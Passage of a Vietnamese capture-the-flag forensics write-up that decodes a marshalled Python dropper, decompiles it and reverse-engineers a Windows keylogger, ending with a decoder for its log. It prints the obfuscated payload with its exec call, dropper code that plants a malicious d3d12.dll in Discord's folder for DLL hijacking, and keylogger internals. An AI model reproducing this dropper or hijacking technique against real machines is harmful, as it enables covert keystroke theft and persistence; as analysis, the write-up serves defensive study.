lZBVkGWTNZFVkFWQTZJRk3mQZZBVkzGTeZBNkFGSeZBFkFWQRZNRk2GQUZBVkYWTpZBFkFWTIZH9kFWQZZOlkxGQVZBNkn2TpZBlkFWTOZHtkE2QUZOVkYWQVZBFkdmRQZBRkFWTKZHtkEWQVZLdkRWQVZBlkRGTEZBVkE2RwZMVkGWQVZL9k6WQTZBRkb2SfZBVkEZABZAqQAWQAZBRkFWS5ZHhkEWQVZHFkh2QVZBlkk2QZZBVkE5ABZAFkeGQZZBWQAWQAZHhkE2QUZJNkEWQVZBFko2SWZBRkFWR+ZPtkEWQVZDVk/GQVZBlk3WSBZBVkE2QrZPtkGWQVZEdkxWQTZBRkiGSOZBVkEWTCZKtkFGQVZOBkxWQRZBVkcWQhZBVkGWRCZBdkFWQTZJFkxWQZZBVkymSqZBNkFGTiZL5kFWQRZM1kX2QUZBVk7mSqZBFkFWRRZK9kFWQZZL1kGWQVZBNkK2QRZBlkFWQvZBFkE2QUZLRkEWQVZBFkEGT3ZBRkFWTfZBFkEWQVZLBk/GQVZBlkt2QVZBVkE2RHZBFkGWQVZKxke2QTZBRkQGTFZBVkEZABZABk92QUZBVkU2R7ZBFkFWTFZK9kFWQZZIZkFWQVZBNklGR7ZBlkFWRPZBFkE2QUZGxkxGQVZBFkfJABZABkFGQVZHtkOmQRZBVkXWQyZBVkGWSLZBlkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkfmQVZGFkFWQRZBVkUGQUZBVkJGQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkF2QRZHlkE2QUZBVk3mQVZBFkgGQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkAGQUZCFkFmQVZBFkLWQTZBRkFWRUZIVkEWQVZDdkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWSOZEpk1mQvZJ1kOmQ8ZJxkb2QwZDxkLWQ1ZHdkGWTtZI5k6mQVZDpkQmQ1ZP5kD2RBZHFkNWSMZMtk7GRUkAFkCmQwZHVkGWQZZCpkMGSLZDRkNWTkZDBk/WQPZDVkOWTLZMVk/2SpZDBkGWTpZJ9kFGRFZPlkJ2QnkAFkCmScZCxkK2T9ZJBkOmQbZC9kJ2Q1ZFxkpmQZZHBkLGQ2ZPNkXGQ2ZChkOWQvZH1kJ2RmZMlkPGRuZCxkiGQnZGNki2SLZEVkM2SIZC9kp2QnZCeQAWQGZENkPGToZOxkMmQvZDRkNWQpZHZkqWQwZItkNmScZC9kJ2SsZA9kNWTIZBlkQ2RDZIpk72SfZPxkRWQWZKZkl2QwZCdkOWQvZA9k8mTgZOVkr2R1ZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWTeZBVkEWTlZBNkFGQVZCaQAWQIZBFkc2TVZGRkbGTPZOlkkWRVZBtk1mRzZCRkc2QZkAFkAWRgkAFkAmTDZNdkiWSzZBxkvGQUZNlkpmTZZIJk2WRQZN9kFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQ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'
import base64
import marshal
exec(marshal.loads(base64.b64decode(z)))
```
Bình thường thì đến đây là có được src gốc của bài, thế nhưng ở đây anh author đã tăng độ phức tạp cho bài bằng cách thêm 1 lớp nữa, đoạn mã hóa base64 khi mình decode ra và kiểm tra hex thì thấy nó giống file pyc nhưng bị mất 16 byte đầu:

Mình xử lí bằng cách thêm 16 byte đầu từ 1 file pyc mẫu, tuy nhiên thì có vẻ đây không hẳn là cách mà author dùng để tạo, tại mình thêm xong và up lên pylingual thì nó ra nên mình cũng không tìm hiểu kĩ hơn về marshal:


> https://pylingual.io/view_chimera?identifier=aefceaa8a007ad145f80ed658f77ca04b8e16b80d08edb89263a8263dce5e431
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: <script>
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import os
import base64
with open('config.sys', 'rb') as f:
data = f.read()
k1 = base64.b64decode('/yD2eJUB/oY=')
k2 = base64.b64decode('2trmXMrwyg==')
data2 = b''.join([int.to_bytes(data[i] ^ k1[i % len(k1)], 1, 'big') for i in range(len(data))])
n = ''.join([chr(i >> 1) for i in k2])
with open(n, 'wb') as f:
f.write(data2)
k3 = 'lld.21d3d'
k3 = k3[::-1]
'Decompiler error: line too long for translation. Please decompile this statement manually.'
k5 = [255, 216, 255, 224, 255, 1, 237]
d2 = b''.join([int.to_bytes(k4[i] ^ k5[i % len(k5)], 1, 'big') for i in range(len(k4))])
with open(k3, 'wb') as f:
f.write(d2)
try:
fl = os.getenv('USERPROFILE') + '\\Ap' + 'p' + 'dat' + 'a\\Lo' + 'cal' + '\\D' + 'is' + 'cor' + 'd'
except:
exit(0)
sfl = [f.path for f in os.scandir(fl) if f.is_dir()]
for i in sfl:
if 'app' in i:
os.system(f'move {k3} {i}')
os.system(f'move {n} C:\\Windows\\System32')
```
Tổng quan thì script python trên dùng để:
- Tạo tệp ms.exe (keylogger) từ dữ liệu mã hóa trong config.sys.
- Tạo tệp d3d12.dll (DLL độc hại) từ dữ liệu k4.
- Di chuyển d3d12.dll vào thư mục Discord để thực hiện DLL hijacking.
- Di chuyển ms.exe vào C:\Windows\System32 để che giấu và thực thi.
Chi tiết:
Đọc và giải mã ms.exe:
- Đọc dữ liệu từ config.sys.
- Dùng khóa k1 (giải mã từ base64: /yD2eJUB/oY= → b'\xff\x20\xf6x\x95\x10\xfe\x86') để XOR dữ liệu.
- Tạo tên tệp ms.exe từ k2 (giải mã từ base64: 2trmXMrwyg== → b'\xda\xfa\xe6\x5c\xca\xf0\xca', dịch bit và chuyển thành ms.exe).
- Ghi dữ liệu giải mã vào ms.exe.
Tạo d3d12.dll:
- Tạo tên tệp d3d12.dll từ k3 (đảo ngược chuỗi 'lld.21d3d').
- Dùng khóa k5 = [255, 216, 255, 224, 255, 1, 237] để XOR dữ liệu k4 (dữ liệu gốc của d3d12.dll, không có trong mã).
- Ghi dữ liệu giải mã vào d3d12.dll.
Di chuyển tệp:
- Di chuyển d3d12.dll vào thư mục Discord (C:\Users\<User>\Appdata\Local\Discord\app-1.0.9191) để thực hiện DLL hijacking.
- Di chuyển ms.exe vào C:\Windows\System32 để che giấu và thực thi keylogger.
> Kết luận:
> Mã Python này là một phần của cuộc tấn công:
> ms.exe là keylogger, ghi log phím vào msstub.dat.
> d3d12.dll được dùng để thực hiện DLL hijacking trong Discord, có thể gửi log phím qua mạng.
```bash=
1. DLL Hijacking là gì?
DLL Hijacking là một kỹ thuật tấn công mà kẻ tấn công thay thế hoặc đặt một DLL (Dynamic Link Library) độc hại vào một vị trí mà ứng dụng mục tiêu sẽ tải nó thay vì DLL hợp pháp. Điều này xảy ra do cách hệ điều hành Windows tìm kiếm và tải DLL:
Thứ tự tìm kiếm DLL trên Windows:
Thư mục chứa tệp thực thi (EXE) của ứng dụng.
Thư mục C:\Windows\System32.
Thư mục C:\Windows\System.
Thư mục C:\Windows.
Thư mục hiện hành (working directory).
Các thư mục trong biến môi trường PATH.
Nếu ứng dụng không chỉ định đường dẫn tuyệt đối của DLL mà nó cần, và kẻ tấn công đặt một DLL độc hại ở một trong các vị trí tìm kiếm ưu tiên (như thư mục chứa EXE), ứng dụng sẽ tải DLL độc hại thay vì DLL hợp pháp.
Ví dụ:
Discord cần tải d3d12.dll (một DLL hợp pháp của Windows).
Kẻ tấn công đặt một d3d12.dll độc hại vào thư mục Discord (ưu tiên hơn C:\Windows\System32).
Khi Discord chạy, nó sẽ tải d3d12.dll độc hại, thực thi mã của kẻ tấn công.
2. Persistence (Duy trì quyền truy cập) là gì?
Persistence là khả năng của mã độc duy trì quyền truy cập vào hệ thống nạn nhân sau khi khởi động lại hoặc sau khi bị phát hiện và loại bỏ một phần. Kẻ tấn công thường sử dụng các kỹ thuật persistence để:
Đảm bảo mã độc chạy lại mỗi khi hệ thống khởi động.
Che giấu sự hiện diện của mã độc.
Trong trường hợp này, DLL hijacking được sử dụng để đạt được persistence bằng cách đảm bảo mã độc được tải mỗi khi ứng dụng mục tiêu (Discord) chạy.
3. Tại sao dùng Discord?
Discord là một ứng dụng giao tiếp phổ biến, thường được cài đặt và chạy thường xuyên trên máy tính của người dùng. Điều này làm cho Discord trở thành mục tiêu lý tưởng cho DLL hijacking vì:
Tự động chạy: Discord thường được thiết lập để chạy khi khởi động hệ thống, đảm bảo mã độc (trong DLL) được thực thi mà không cần can thiệp thêm.
Quyền truy cập thư mục: Thư mục Discord (C:\Users\<User>\AppData\Local\Discord\app-<version>) có thể được ghi bởi người dùng, dễ dàng cho kẻ tấn công đặt DLL độc hại.
Kết nối mạng: Discord có kết nối Internet, nên DLL độc hại có thể gửi dữ liệu (như log phím từ keylogger) qua các kênh Discord (ví dụ: webhook, bot).
```
> https://infosecwriteups.com/dll-hijacking-persistence-using-discord-80691a63c559
Tiếp tục đến phải giải mã file `config.sys`, như ở đoạn mã trên đã để cập, chỉ việc xor lại:


Mình có được file thực thi `.exe`:

Tuy nhiên thì mình không biết về REV nhiều nên mình up lên IDA và dùng AI để phân tích các hàm:

```c=
// Hidden C++ exception states: #wind=1
int __fastcall main(int argc, const char **argv, const char **envp)
{
HWND ConsoleWindow; // rax
__int64 v4; // rax
int i; // ebx
int v6; // eax
_BYTE v8[40]; // [rsp+28h] [rbp-160h] BYREF
_BYTE v9[16]; // [rsp+50h] [rbp-138h] BYREF
_BYTE v10[272]; // [rsp+60h] [rbp-128h] BYREF
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow, 0);
v4 = sub_140002460(v8, "Microft Version Stub_");
sub_140001470(v4);
while ( 1 )
{
Sleep(0xAu);
for ( i = 8; i <= 254; ++i )
{
if ( GetAsyncKeyState(i) == -32767 && !(unsigned __int8)sub_140001550((unsigned int)i) )
{
sub_140001540(v9);
sub_1400023B0(v9);
sub_1400022F0(v9);
if ( (unsigned __int8)sub_140002340(v9) )
{
v6 = rand();
i ^= v6 % 255;
sub_140002D10(v10, (unsigned __int8)(v6 % 255));
sub_140002D10(v10, (unsigned __int8)i);
sub_1400022B0(v9);
}
sub_140001510(v9);
}
}
}
}
```
Tổng quan hàm main
Chức năng chính:
- Ẩn cửa sổ console để chạy ngầm.
- Ghi một chuỗi giả mạo (Microft Version Stub_) vào msstub.dat.
- Vòng lặp vô hạn để ghi lại các phím được nhấn (keylogging).
- Phím đặc biệt được xử lý bởi sub_140001550.
- Phím thông thường được mã hóa bằng XOR và ghi vào msstub.dat.
Cấu trúc:
>Ẩn console → Khởi tạo → Vòng lặp ghi phím.
```c=
// Hidden C++ exception states: #wind=1
__int64 __fastcall sub_140002D10(__int64 a1, unsigned __int8 a2)
{
__int64 v3; // rsi
unsigned int v4; // ebx
__int64 v5; // r14
__int16 v6; // ax
__int64 v7; // r8
unsigned __int8 v8; // di
__int64 v9; // rcx
unsigned int v10; // edi
unsigned int v11; // eax
char v12; // al
int v13; // ecx
__int64 v14; // rax
unsigned int v15; // edi
unsigned int v16; // eax
unsigned __int8 v17; // di
__int64 v18; // rax
unsigned int v19; // edi
unsigned int v20; // eax
char v21; // al
int v22; // ecx
_BYTE v24[40]; // [rsp+20h] [rbp-28h] BYREF
unsigned int v26; // [rsp+60h] [rbp+18h]
v3 = a1;
v4 = 0;
v26 = 0;
sub_1400032A0(v24, a1);
if ( (unsigned __int8)sub_140003260(v24) )
{
if ( std::ios_base::width((std::ios_base *)(v3 + *(int *)(*(_QWORD *)v3 + 4LL))) > 1 )
v5 = std::ios_base::width((std::ios_base *)(v3 + *(int *)(*(_QWORD *)v3 + 4LL))) - 1;
else
v5 = 0;
v6 = std::ios_base::flags((std::ios_base *)(v3 + *(int *)(*(_QWORD *)v3 + 4LL)));
try
{
if ( (v6 & 0x1C0) == 0x40 )
{
LABEL_12:
v14 = std::ios::rdbuf(v3 + *(int *)(*(_QWORD *)v3 + 4LL));
v15 = std::streambuf::sputc(v14, a2);
v16 = sub_140002B40();
if ( (unsigned __int8)std::_Narrow_char_traits<char,int>::eq_int_type(v16, v15) )
v4 = 4;
v26 = v4;
while ( !v4 && v5 > 0 )
{
v17 = std::ios::fill(v3 + *(int *)(*(_QWORD *)v3 + 4LL));
v18 = std::ios::rdbuf(v3 + *(int *)(*(_QWORD *)v3 + 4LL));
v19 = std::streambuf::sputc(v18, v17);
--v5;
v20 = sub_140002B40();
v21 = std::_Narrow_char_traits<char,int>::eq_int_type(v20, v19);
v22 = 4;
if ( !v21 )
v22 = 0;
v4 = v22;
v26 = v22;
}
}
else
{
while ( !v4 )
{
if ( v5 <= 0 )
goto LABEL_12;
v8 = std::ios::fill(v3 + *(int *)(*(_QWORD *)v3 + 4LL));
v9 = std::ios::rdbuf(v3 + *(int *)(*(_QWORD *)v3 + 4LL));
v10 = std::streambuf::sputc(v9, v8);
--v5;
v11 = sub_140002B40();
v12 = std::_Narrow_char_traits<char,int>::eq_int_type(v11, v10);
v13 = 4;
if ( !v12 )
v13 = 0;
v4 = v13;
v26 = v13;
}
}
}
catch ( ... )
{
LOBYTE(v7) = 1;
std::ios::setstate(a1 + *(int *)(*(_QWORD *)a1 + 4LL), 4, v7);
v3 = a1;
v4 = v26;
}
}
std::ios_base::width((std::ios_base *)(v3 + *(int *)(*(_QWORD *)v3 + 4LL)), 0);
std::ios::setstate(v3 + *(int *)(*(_QWORD *)v3 + 4LL), v4, 0);
sub_140003270(v24);
return v3;
}
```
> Hàm sub_140002D10 là một thành phần cốt lõi của keylogger, chịu trách nhiệm ghi dữ liệu phím vào msstub.dat. Hàm nhận đối tượng luồng a1 và byte a2 (giá trị ngẫu nhiên hoặc phím mã hóa), sử dụng std::streambuf::sputc để ghi từng byte, hỗ trợ cả phím thông thường (dưới dạng cặp byte [rand_value, key_xor]) và nhãn phím đặc biệt. Nó cũng kiểm tra trạng thái luồng, xử lý ký tự đệm nếu cần, và bắt ngoại lệ để tránh crash, đảm bảo keylogger hoạt động ổn định.
```c=
char __fastcall sub_140001550(int a1, __int64 a2, __int64 a3)
{
const char *v3; // rdx
__int64 v4; // rax
int v6; // ecx
__int64 v7; // rax
_BYTE v8[32]; // [rsp+20h] [rbp-20h] BYREF
if ( a1 > 189 )
{
v6 = a1 - 219;
if ( v6 )
{
if ( v6 != 2 )
return 0;
v3 = "@CBS";
}
else
{
v3 = "@OBS";
}
LABEL_24:
v7 = sub_140002460((__int64)v8, (__int64)v3, a3);
sub_140001470(v7);
return 1;
}
else
{
if ( a1 != 189 )
{
switch ( a1 )
{
case -66:
v3 = "@DS";
goto LABEL_24;
case 2:
v3 = "@RC";
goto LABEL_24;
case 8:
v3 = "@BS";
goto LABEL_24;
case 9:
v3 = "@TS";
goto LABEL_24;
case 13:
v3 = "@LFS";
goto LABEL_24;
case 16:
v3 = "@SF";
goto LABEL_24;
case 17:
v3 = "@CTS";
goto LABEL_24;
case 18:
v3 = "@ALS";
goto LABEL_24;
case 20:
v3 = "@CS";
goto LABEL_24;
case 32:
v3 = "@SS";
goto LABEL_24;
case 37:
v3 = "@LS";
goto LABEL_24;
case 38:
v3 = "@US";
goto LABEL_24;
case 39:
v3 = "@RS";
goto LABEL_24;
case 40:
v3 = "@DWS";
goto LABEL_24;
default:
return 0;
}
}
v4 = sub_140002460((__int64)v8, (__int64)"@UDS", a3);
sub_140001470(v4);
return 0;
}
}
```
> Hàm sub_140001550 đóng vai trò trong việc xử lý các phím đặc biệt của keylogger, nhận mã phím a1 (VK code) và trả về 1 nếu phím được xử lý, hoặc 0 nếu không, hỗ trợ hiệu quả việc ghi log phím vào msstub.dat. Hàm phân loại phím dựa trên mã VK: phím có VK > 189 (như @OBS cho Open Bracket VK=219, @CBS cho Close Bracket VK=221), VK=189 (@UDS cho gạch dưới), và các phím nhỏ hơn (từ VK=-66 đến VK=40, như @SS cho Space, @LFS cho Enter, @SF cho Shift), gán nhãn ASCII tương ứng và ghi vào tệp thông qua sub_140002460 và sub_140001470
Sơ qua thì Keylogger tập trung vào tính che giấu và độ bền khi ghi lại mọi phím nhấn của người dùng vào msstub.dat. Nó ẩn giao diện console ngay từ đầu để chạy ngầm, tránh bị phát hiện, đồng thời sử dụng chuỗi giả mạo "Microft Version Stub_" làm header để đánh lừa người dùng rằng tệp log là hợp pháp. Keylogger xử lý linh hoạt cả phím thông thường (mã hóa bằng XOR với giá trị ngẫu nhiên và ghi dưới dạng cặp byte) lẫn phím đặc biệt (gắn nhãn ASCII như @SF, @LFS).
Và ta cũng thấy được các hàm có đề cập đến file `msstub.dat` thế nhưng nó không có ở trong ib, mà nó nằm trong file mem author cho, dùng `vol` để lấy nó ra:


Đúng như hành vi của con exe đã đề cập, có thể nhận thấy được đoạn fake mà nó thêm vào file dat nhằm đánh lừa người chơi:

Tuy nhiên đến đây thì mình gen script giải mã mãi không được, toàn bị lỗi:

Sau nhiều lần thử thì nó cũng ra được script đúng mình cần:

```python=
mapper = {
"@SS": " ",
"@LFS": "\n",
"@SF": "[SHIFT]",
"@BS": "[BACK]",
"@RC": "[RBUTTON]",
"@CS": "[CAPITAL]",
"@TS": "[TAB]",
"@US": "[UP]",
"@DWS": "[DOWN]",
"@LS": "[LEFT]",
"@RS": "[RIGHT]",
"@CTS": "[CONTROL]",
"@OBS": "[",
"@CBS": "]",
"@UDS": "_"
}
def process_dat_file(filename):
result = []
with open(filename, "rb") as f:
i = 0
buffer = f.read()
buffer_len = len(buffer)
while i < buffer_len:
if i < buffer_len - 1 and buffer[i] == ord("@"):
if buffer[i + 1] >= 32 and buffer[i + 1] < 128:
if buffer[i + 1] != ord("S"):
final = ""
start_i = i
while i < buffer_len and buffer[i] != ord("S"):
final += chr(buffer[i])
i += 1
if i < buffer_len and buffer[i] == ord("S"):
final += "S"
result.append(mapper.get(final, final))
i += 1
else:
i = start_i + 1
result.append(chr(buffer[start_i]))
else:
if i + 2 < buffer_len:
final = chr(buffer[i]) + chr(buffer[i + 1]) + chr(buffer[i + 2])
result.append(mapper.get(final, final))
i += 3
else:
result.append(chr(buffer[i]))
i += 1
else:
result.append(chr(buffer[i]))
i += 1
elif i < buffer_len - 1:
xorkey = buffer[i]
xorenc = buffer[i + 1]
result.append(chr(xorkey ^ xorenc))
i += 2
else:
result.append(chr(buffer[i]))
i += 1
return ''.join(result)
try:
output = process_dat_file("msstub.dat")
print(output)
with open("output.txt", "w", encoding="utf-8") as out_file:
out_file.write(output)
print("\nĐã lưu kết quả vào file output.txt")
except Exception as e:
print(f"Lỗi: {e}")
```
```
